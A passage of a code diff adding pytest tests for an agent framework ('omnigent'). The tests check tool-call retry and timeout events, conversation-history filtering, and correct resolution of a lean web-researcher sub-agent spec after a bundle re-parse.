retry_config = RetryPolicy(max_retries=3, backoff_base_s=1.0, backoff_max_s=10.0)
result = execute_tool_with_retry(
tool_name="fast_tool",
call_fn=lambda: "result",
timeout=5,
retry_config=retry_config,
on_event=on_event,
)
# Tool succeeded immediately so we get the result back.
# Failure means the function swallowed the result or retried unnecessarily.
assert result == "result"
# No retry or error events should have been emitted on a first-attempt success.
# Failure means the function emits spurious events.
retry_events = [e for e in captured_events if e["type"] == "response.retry"]
assert len(retry_events) == 0
def test_execute_tool_with_retry_retries_on_timeout(
monkeypatch: pytest.MonkeyPatch,
on_event: MagicMock,
captured_events: list[dict[str, Any]],
) -> None:
"""A timeout on the first attempt triggers a retry that then succeeds."""
# Patch time.sleep inside the retry module to avoid real delays.
monkeypatch.setattr("omnigent.runtime.tool_retry.time.sleep", lambda _: None)
call_count = 0
def flaky_tool() -> str:
"""
Fails with TimeoutError on the first call, succeeds on the second.
"""
nonlocal call_count
call_count += 1
if call_count == 1:
raise TimeoutError("Tool execution timed out after 5s")
return "ok"
retry_config = RetryPolicy(max_retries=3, backoff_base_s=1.0, backoff_max_s=10.0)
# Patch call_tool_with_timeout so we control failures without real threads.
monkeypatch.setattr(
"omnigent.runtime.tool_retry.call_tool_with_timeout",
lambda call_fn, timeout, cancel_fn=None: flaky_tool(),
)
result = execute_tool_with_retry(
tool_name="flaky_tool",
call_fn=lambda: "unused",
timeout=5,
retry_config=retry_config,
on_event=on_event,
)
# Second attempt succeeded so the result must be "ok".
# Failure means the retry loop did not re-invoke the tool.
assert result == "ok"
# Exactly one retry event should have been emitted (for the first failure).
# Failure means the function either skipped the retry event or emitted too many.
retry_events = [e for e in captured_events if e["type"] == "response.retry"]
assert len(retry_events) == 1
assert retry_events[0]["tool_name"] == "flaky_tool"
def test_execute_tool_with_retry_returns_error_string_on_exhaustion(
monkeypatch: pytest.MonkeyPatch,
on_event: MagicMock,
captured_events: list[dict[str, Any]],
) -> None:
"""When all attempts time out, an error string is returned (not raised)."""
# Patch time.sleep inside the retry module to avoid real delays.
monkeypatch.setattr("omnigent.runtime.tool_retry.time.sleep", lambda _: None)
retry_config = RetryPolicy(max_retries=2, backoff_base_s=1.0, backoff_max_s=10.0)
# Patch call_tool_with_timeout so every call raises TimeoutError.
monkeypatch.setattr(
"omnigent.runtime.tool_retry.call_tool_with_timeout",
lambda call_fn, timeout, cancel_fn=None: (_ for _ in ()).throw(
TimeoutError("Tool execution timed out after 5s")
),
)
result = execute_tool_with_retry(
tool_name="stuck_tool",
call_fn=lambda: "unused",
timeout=5,
retry_config=retry_config,
on_event=on_event,
)
# The function must return an error string, not raise an exception.
# Failure means the function lets TimeoutError propagate to the caller.
assert isinstance(result, str)
assert "Error" in result
# 3 = max_retries=2 (retries) + 1 initial attempt. The message
# reports total tries, not just the retry count.
assert "3 attempts" in result
# A response.error event must have been emitted for the terminal failure.
# Failure means the caller would not be notified of the exhaustion.
error_events = [e for e in captured_events if e["type"] == "response.error"]
assert len(error_events) == 1
assert error_events[0]["tool_name"] == "stuck_tool"
# -- SSE event structure validation --
def test_tool_retry_event_has_correct_fields(
monkeypatch: pytest.MonkeyPatch,
on_event: MagicMock,
captured_events: list[dict[str, Any]],
) -> None:
"""
When a tool times out and retries, the emitted retry event
contains all required fields with correct types and values.
:param monkeypatch: Pytest monkeypatch fixture for patching.
:param on_event: Mock callback that records emitted events.
:param captured_events: List accumulating events for inspection.
"""
# Patch time.sleep to avoid real delays.
monkeypatch.setattr("omnigent.runtime.tool_retry.time.sleep", lambda _: None)
# Fix random.uniform to 1.0 so delay is deterministic.
# ``compute_backoff_delay`` lives on ``RetryPolicy`` (in
# ``omnigent.spec.types``) and uses a function-local
# ``import random`` — patching either
# ``omnigent.runtime.tool_retry.random`` or
# ``omnigent.spec.types.random`` won't catch the local
# binding. Patch the global ``random.uniform`` instead.
import random as _random_module
monkeypatch.setattr(_random_module, "uniform", lambda _low, _high: 1.0)
call_count = 0
def timeout_then_succeed(
call_fn: Callable[[], str],
timeout: int,
cancel_fn: Callable[[], None] | None = None,
) -> str:
"""
Raises TimeoutError on first call, returns success on second.
:param call_fn: The tool callable (ignored in this stub).
:param timeout: The timeout value (ignored in this stub).
:param cancel_fn: The cancel callback (ignored in this stub).
:returns: ``"ok"`` on second call.
:raises TimeoutError: On first call.
"""
nonlocal call_count
call_count += 1
if call_count == 1:
raise TimeoutError("Tool execution timed out after 5s")
return "ok"
monkeypatch.setattr(
"omnigent.runtime.tool_retry.call_tool_with_timeout",
timeout_then_succeed,
)
retry_config = RetryPolicy(max_retries=3, backoff_base_s=1.0, backoff_max_s=10.0)
result = execute_tool_with_retry(
tool_name="my_tool",
call_fn=lambda: "unused",
timeout=5,
retry_config=retry_config,
on_event=on_event,
)
# Tool recovered on second attempt so result must be "ok".
# Failure means the retry loop did not succeed after recovery.
assert result == "ok"
retry_events = [e for e in captured_events if e["type"] == "response.retry"]
# Exactly one retry event for the single timeout failure.
# Failure means the function emitted too many or too few retry events.
assert len(retry_events) == 1
evt = retry_events[0]
# "type" must be "response.retry" — identifies this as a retry SSE event.
# Failure means the event type is wrong, breaking SSE consumers.
assert evt["type"] == "response.retry"
# "source" must be "tool" — distinguishes tool retries from other sources.
# Failure means the event source label is incorrect.
assert evt["source"] == "tool"
# "tool_name" must match the tool that was retried.
# Failure means the event references the wrong tool.
assert evt["tool_name"] == "my_tool"
# "attempt" is the 1-based NEXT attempt number: attempt=0 (zero-based)
# produces attempt + 2 = 2 in the event.
# Failure means attempt numbering logic is wrong.
assert evt["attempt"] == 2
# "max_attempts" reports total tries (max_retries=3 means 4
# total attempts: 1 initial + 3 retries). The wire format
# was renamed during the RetryConfig -> RetryPolicy migration
# but reports total tries to match user-facing semantics
# (a "max attempts" budget is more intuitive than a "retries
# beyond initial" count).
assert evt["max_attempts"] == 4
# "delay_seconds" with backoff_base_s=1.0, attempt=0, random=1.0:
# min(1.0 ** 0, 10.0) * 1.0 = 1.0, rounded to 2 decimals = 1.0.
# Failure means the backoff calculation or rounding is wrong.
assert evt["delay_seconds"] == 1.0
assert isinstance(evt["delay_seconds"], float)
# "error.code" must be "timeout" for timeout-triggered retries.
# Failure means the error classification is wrong.
assert evt["error"]["code"] == "timeout"
# "error.message" must contain "timed out" from the TimeoutError.
# Failure means the original error message was lost or altered.
assert "timed out" in evt["error"]["message"]
# "error.detail" must be None — no additional detail for timeouts.
# Failure means unexpected detail was attached.
assert evt["error"]["detail"] is None
def test_tool_error_event_has_correct_fields(
monkeypatch: pytest.MonkeyPatch,
on_event: MagicMock,
captured_events: list[dict[str, Any]],
) -> None:
"""
When all retries are exhausted, the emitted error event contains
all required fields with correct types and values.
:param monkeypatch: Pytest monkeypatch fixture for patching.
:param on_event: Mock callback that records emitted events.
:param captured_events: List accumulating events for inspection.
"""
# Patch time.sleep to avoid real delays.
monkeypatch.setattr("omnigent.runtime.tool_retry.time.sleep", lambda _: None)
# Every call raises TimeoutError to exhaust all attempts.
monkeypatch.setattr(
"omnigent.runtime.tool_retry.call_tool_with_timeout",
lambda call_fn, timeout, cancel_fn=None: (_ for _ in ()).throw(
TimeoutError("Tool execution timed out after 5s")
),
)
retry_config = RetryPolicy(max_retries=2, backoff_base_s=1.0, backoff_max_s=10.0)
execute_tool_with_retry(
tool_name="stuck_tool",
call_fn=lambda: "unused",
timeout=5,
retry_config=retry_config,
on_event=on_event,
)
error_events = [e for e in captured_events if e["type"] == "response.error"]
# Exactly one terminal error event after exhaustion.
# Failure means the function emitted multiple error events or none.
assert len(error_events) == 1
evt = error_events[0]
# "type" must be "response.error" — identifies this as a terminal
# error SSE event.
# Failure means the event type is wrong, breaking SSE consumers.
assert evt["type"] == "response.error"
# "source" must be "tool" — distinguishes tool errors from others.
# Failure means the event source label is incorrect.
assert evt["source"] == "tool"
# "tool_name" must match the tool that failed.
# Failure means the event references the wrong tool.
assert evt["tool_name"] == "stuck_tool"
# "error.code" must be "timeout" for timeout-based exhaustion.
# Failure means the error classification is wrong.
assert evt["error"]["code"] == "timeout"
# "error.message" must contain "attempts exhausted" to indicate
# terminal failure, and include the attempt count.
# Failure means the exhaustion message format changed.
assert "attempts exhausted" in evt["error"]["message"]
# 3 = max_retries=2 (retries) + 1 initial attempt. The message
# reports total tries, not just the retry count.
assert "3 attempts" in evt["error"]["message"]
# "error.detail" must be None — no additional detail for timeouts.
# Failure means unexpected detail was attached.
assert evt["error"]["detail"] is None
def test_tool_retry_non_timeout_exception_no_retry(
monkeypatch: pytest.MonkeyPatch,
on_event: MagicMock,
captured_events: list[dict[str, Any]],
) -> None:
"""
When a tool raises a non-timeout exception, the retry loop breaks
immediately and emits only a terminal error event (no retries).
:param monkeypatch: Pytest monkeypatch fixture for patching.
:param on_event: Mock callback that records emitted events.
:param captured_events: List accumulating events for inspection.
"""
def raise_value_error(
call_fn: Callable[[], str],
timeout: int,
cancel_fn: Callable[[], None] | None = None,
) -> str:
"""
Always raises ValueError to simulate a non-timeout failure.
:param call_fn: The tool callable (ignored in this stub).
:param timeout: The timeout value (ignored in this stub).
:param cancel_fn: The cancel callback (ignored in this stub).
:raises ValueError: Always.
"""
raise ValueError("bad input")
monkeypatch.setattr(
"omnigent.runtime.tool_retry.call_tool_with_timeout",
raise_value_error,
)
retry_config = RetryPolicy(max_retries=3, backoff_base_s=1.0, backoff_max_s=10.0)
result = execute_tool_with_retry(
tool_name="broken_tool",
call_fn=lambda: "unused",
timeout=5,
retry_config=retry_config,
on_event=on_event,
)
# No retry events should be emitted for non-timeout exceptions.
# Failure means the function retried when it should have broken out.
retry_events = [e for e in captured_events if e["type"] == "response.retry"]
assert len(retry_events) == 0
# Exactly one terminal error event for the immediate failure.
# Failure means the function did not emit the error event.
error_events = [e for e in captured_events if e["type"] == "response.error"]
assert len(error_events) == 1
evt = error_events[0]
# "type" must be "response.error" — terminal failure event.
assert evt["type"] == "response.error"
# "source" must be "tool".
assert evt["source"] == "tool"
# "tool_name" must match the tool that failed.
assert evt["tool_name"] == "broken_tool"
# "error.message" must contain "ValueError" so the error type is
# visible to the caller, and "attempts exhausted" for the terminal
# format.
# Failure means the original exception type was lost.
assert "ValueError" in evt["error"]["message"]
assert "attempts exhausted" in evt["error"]["message"]
# "error.detail" must be None.
assert evt["error"]["detail"] is None
# The return value must be an error string (not raised).
# Failure means the function let the ValueError propagate.
assert isinstance(result, str)
assert "ValueError" in result
+107
View File
@@ -0,0 +1,107 @@
"""Tests for runtime conversation-history loading."""
from __future__ import annotations
from typing import Any
from omnigent.entities import ConversationItem, MessageData, PagedList, SlashCommandData
from omnigent.entities.pagination import paginate_in_memory
from omnigent.runtime.workflow import _load_initial_history
class _ConversationStore:
"""
Minimal conversation store for history-loader tests.
:param items: Chronological conversation items returned by
``list_items``.
"""
def __init__(self, items: list[ConversationItem]) -> None:
self._items = items
def list_items(
self,
conversation_id: str,
*,
type: str | None = None,
order: str = "asc",
limit: int = 20,
after: str | None = None,
before: str | None = None,
**kwargs: Any,
) -> PagedList[ConversationItem]:
"""
Return an in-memory page matching ``ConversationStore.list_items``.
:param conversation_id: Conversation id being queried.
:param type: Optional item-type filter, e.g. ``"compaction"``.
:param order: Sort order, ``"asc"`` or ``"desc"``.
:param limit: Maximum items in the returned page.
:param after: Cursor id to start after.
:param before: Cursor id to stop before.
:param kwargs: Additional store-specific parameters ignored by
this fake.
:returns: Paginated in-memory items.
"""
del conversation_id, kwargs
items = [item for item in self._items if type is None or item.type == type]
return paginate_in_memory(
items,
lambda item: item.id,
limit=limit,
after=after,
before=before,
order=order,
)
def test_load_initial_history_filters_visible_slash_command_but_keeps_meta_message() -> None:
"""
Visible command metadata is not LLM content, but hidden skill
context is.
"""
slash = ConversationItem(
id="sc_1",
type="slash_command",
status="completed",
response_id="turn_skill",
created_at=1,
data=SlashCommandData(
agent="test-agent",
name="grill-me",
arguments="review this plan",
),
)
meta = ConversationItem(
id="msg_meta",
type="message",
status="completed",
response_id="turn_skill",
created_at=2,
data=MessageData(
role="user",
content=[{"type": "input_text", "text": "<skill>hidden</skill>"}],
is_meta=True,
),
)
visible = ConversationItem(
id="msg_visible",
type="message",
status="completed",
response_id="turn_user",
created_at=3,
data=MessageData(
role="user",
content=[{"type": "input_text", "text": "hello"}],
),
)
loaded = _load_initial_history(
_ConversationStore([slash, meta, visible]), # type: ignore[arg-type]
"conv_123",
)
assert [item.id for item in loaded.items] == ["msg_meta", "msg_visible"]
assert isinstance(loaded.items[0].data, MessageData)
assert loaded.items[0].data.is_meta is True
@@ -0,0 +1,212 @@
"""Regression: web_fetch's ``__web_researcher`` must resolve on a bundle re-parse.
``WebFetchTool`` synthesizes the ``__web_researcher`` sub-agent spec in memory
and appends it to the parent's live ``sub_agents`` list, but that spec is never
serialized into the parent's persisted bundle. A child ``__web_researcher``
session boots by re-parsing the bundle fresh (``runner/_entry.py`` spec
resolver), so the researcher is absent from the re-parsed tree.
Before the fix, :func:`_find_spec_by_name` returned ``None`` for that
resolve-miss, and every swap site (``runner/app.py`` POST /v1/sessions,
``_run_turn_bg``, ``_resolve_session_spec_entry``,
``_resolve_harness_and_spawn_env``; ``server/routes/sessions.py``) swaps only
``if ... is not None``, so the child silently booted as a full clone of the
parent. When the parent is a coordinator, every ``__web_researcher`` became a
coordinator clone that re-ran the whole panel: runaway recursion / fan-out via
``sys_session_send`` (the failure mode ``runner/app.py`` calls out by name).
The fix reconstructs the lean researcher from the parent on a resolve-miss, so
the child boots as the intended ``max_iterations=5`` curl helper instead.
"""
from __future__ import annotations
from omnigent.runtime.workflow import _find_spec_by_name
from omnigent.spec.types import (
AgentSpec,
BuiltinToolConfig,
ExecutorSpec,
LLMConfig,
ToolsConfig,
)
from omnigent.tools.builtins.web_fetch import RESEARCHER_NAME, build_researcher_spec
def _coordinator_parent(*, web_fetch: bool = True) -> AgentSpec:
"""A coordinator-style parent as re-parsed from its persisted bundle.
Critically, it does NOT contain ``__web_researcher`` in ``sub_agents`` --
``WebFetchTool`` only appends that spec in memory at runtime, and it is
never serialized, so a fresh bundle parse lacks it. The ``panelist`` child
stands in for the real sub-agents a grounded coordinator declares.
:param web_fetch: When ``True`` (default), the parent declares the
``web_fetch`` builtin in ``tools.builtins`` -- the authored config
that is the sole reason ``__web_researcher`` exists, and which IS
serialized into the bundle. When ``False``, the parent never enabled
web_fetch, so it has no researcher child.
:returns: A parent :class:`AgentSpec` without the researcher in its tree.
"""
panelist = AgentSpec(spec_version=1, name="panelist")
builtins = [BuiltinToolConfig(name="web_fetch")] if web_fetch else []
return AgentSpec(
spec_version=1,
name="concordia",
llm=LLMConfig(model="openai/gpt-5.4"),
# A real bootable omnigent-executor coordinator carries a harness; the
# researcher inherits it so the reconstructed child is spawnable.
executor=ExecutorSpec(max_iterations=40, config={"harness": "claude-sdk"}),
tools=ToolsConfig(builtins=builtins),
sub_agents=[panelist],
)
def _nested_web_fetch_parent() -> AgentSpec:
"""A root whose ``web_fetch`` owner is a NESTED sub-agent, not the root.
The root declares no ``web_fetch`` builtin; a nested child does. This is
the topology #817 missed: the resolver gate inspected only the root's
builtins, so a nested owner failed the gate and the resolve fell back to a
parent clone. The root and the nested owner use DIFFERENT LLM models so a
test can prove reconstruction walks to the owner rather than lazily
building from the root.
:returns: A root :class:`AgentSpec` without ``web_fetch``, whose nested
``researcher_host`` child owns it.
"""
host = AgentSpec(
spec_version=1,
name="researcher_host",
llm=LLMConfig(model="anthropic/claude-nested-7"),
# The web_fetch owner needs a real harness so the reconstructed
# researcher (built from THIS owner) is bootable.
executor=ExecutorSpec(max_iterations=40, config={"harness": "claude-sdk"}),
tools=ToolsConfig(builtins=[BuiltinToolConfig(name="web_fetch")]),
)
return AgentSpec(
spec_version=1,
name="concordia",
llm=LLMConfig(model="openai/gpt-5.4"),
executor=ExecutorSpec(max_iterations=40),
tools=ToolsConfig(builtins=[]),
sub_agents=[host],
)
def test_web_researcher_resolves_when_nested_subagent_owns_web_fetch() -> None:
"""A nested ``web_fetch`` owner must still synthesize the lean researcher.
Fails before the fix: the gate inspected only the root's builtins, so a
nested owner failed the gate and the resolver returned ``None``. The
researcher must be rebuilt from the OWNER node, inheriting the owner's LLM
(not the root's).
"""
root = _nested_web_fetch_parent()
# Precondition: the root itself neither declares web_fetch nor carries the
# researcher; only the nested child owns web_fetch.
assert "web_fetch" not in [b.name for b in root.tools.builtins]
assert RESEARCHER_NAME not in [s.name for s in root.sub_agents]
resolved = _find_spec_by_name(root, RESEARCHER_NAME)
assert resolved is not None, (
"nested web_fetch owner failed the gate; resolver returned None and "
"every swap site falls back to a parent clone."
)
assert resolved.name == RESEARCHER_NAME
assert resolved.executor.max_iterations == 5
assert resolved.interaction.conversational is False
# Built from the nested OWNER, not the root → inherits the owner's LLM.
assert resolved.llm is not None
assert resolved.llm.model == "anthropic/claude-nested-7", (
"researcher inherited the root's LLM, not the nested owner's; the gate "
"rebuilt from root instead of walking to the web_fetch owner."
)
def test_web_researcher_resolves_to_lean_researcher_on_bundle_reparse() -> None:
"""A resolve-miss for ``__web_researcher`` must rebuild the lean researcher.
Fails before the fix (the resolver returns ``None``, so every swap site
falls back to the parent spec and boots the child as a parent clone).
"""
parent = _coordinator_parent(web_fetch=True)
# Precondition: the re-parsed bundle does not carry the researcher...
assert RESEARCHER_NAME not in [s.name for s in parent.sub_agents]
# ...but it DOES declare web_fetch, the authored builtin that is the sole
# reason the researcher exists and which is serialized into the bundle.
assert "web_fetch" in [b.name for b in parent.tools.builtins]
resolved = _find_spec_by_name(parent, RESEARCHER_NAME)
assert resolved is not None, (
"resolve-miss returned None; every swap site falls back to the parent "
"spec, booting __web_researcher as a parent clone (runaway recursion "
"via sys_session_send when the parent is a coordinator)."
)
assert resolved.name == RESEARCHER_NAME
# The lean researcher, not the coordinator clone: capped iterations + one-shot.
assert resolved.executor.max_iterations == 5, (
f"expected the lean researcher (max_iterations=5), got "
f"{resolved.executor.max_iterations} -- that is the parent's executor, "
"i.e. the child booted as a parent clone."
)
assert resolved.interaction.conversational is False
assert resolved.name != parent.name
# Inherits the parent's LLM so panel grounding keeps working on the
# parent's provider.
assert resolved.llm is not None
assert resolved.llm.model == "openai/gpt-5.4"
def test_web_researcher_not_synthesized_without_web_fetch_builtin() -> None:
"""Boundary regression: a parent that never enabled ``web_fetch`` must NOT
get a synthesized ``__web_researcher``.
``__web_researcher`` only exists because ``WebFetchTool.__init__`` appends
it, so a parent without the ``web_fetch`` builtin has no such child.
Resolving the researcher name against that parent must fall through to
normal resolution and return ``None`` rather than reconstruct a
shell-capable child (``build_researcher_spec`` synthesizes an ``OSEnvSpec``)
from a caller-controlled ``sub_agent_name``.
"""
parent = _coordinator_parent(web_fetch=False)
# Precondition: this parent genuinely lacks the web_fetch builtin.
assert "web_fetch" not in [b.name for b in parent.tools.builtins]
assert _find_spec_by_name(parent, RESEARCHER_NAME) is None
def test_declared_sub_agent_still_resolves_from_tree() -> None:
"""Bundle-declared sub-agents must still resolve by tree search.
Guards against the researcher fallback shadowing real specs.
"""
parent = _coordinator_parent()
found = _find_spec_by_name(parent, "panelist")
assert found is not None
assert found.name == "panelist"
def test_missing_non_researcher_name_still_returns_none() -> None:
"""The fallback is scoped to ``__web_researcher`` only.
Any other unknown name must still resolve to ``None`` so a genuine
misconfiguration fails loud rather than silently synthesizing a spec.
"""
parent = _coordinator_parent()
assert _find_spec_by_name(parent, "does-not-exist") is None
def test_declared_web_researcher_is_returned_verbatim() -> None:
"""When the researcher IS present in the tree it is returned verbatim.
Covers the in-process parent where ``WebFetchTool`` already appended the
researcher: the tree search must win over reconstruction so there is no
divergence between the appended spec and a freshly rebuilt one.
"""
parent = _coordinator_parent()
declared = build_researcher_spec(parent)
parent.sub_agents.append(declared)
found = _find_spec_by_name(parent, RESEARCHER_NAME)
assert found is declared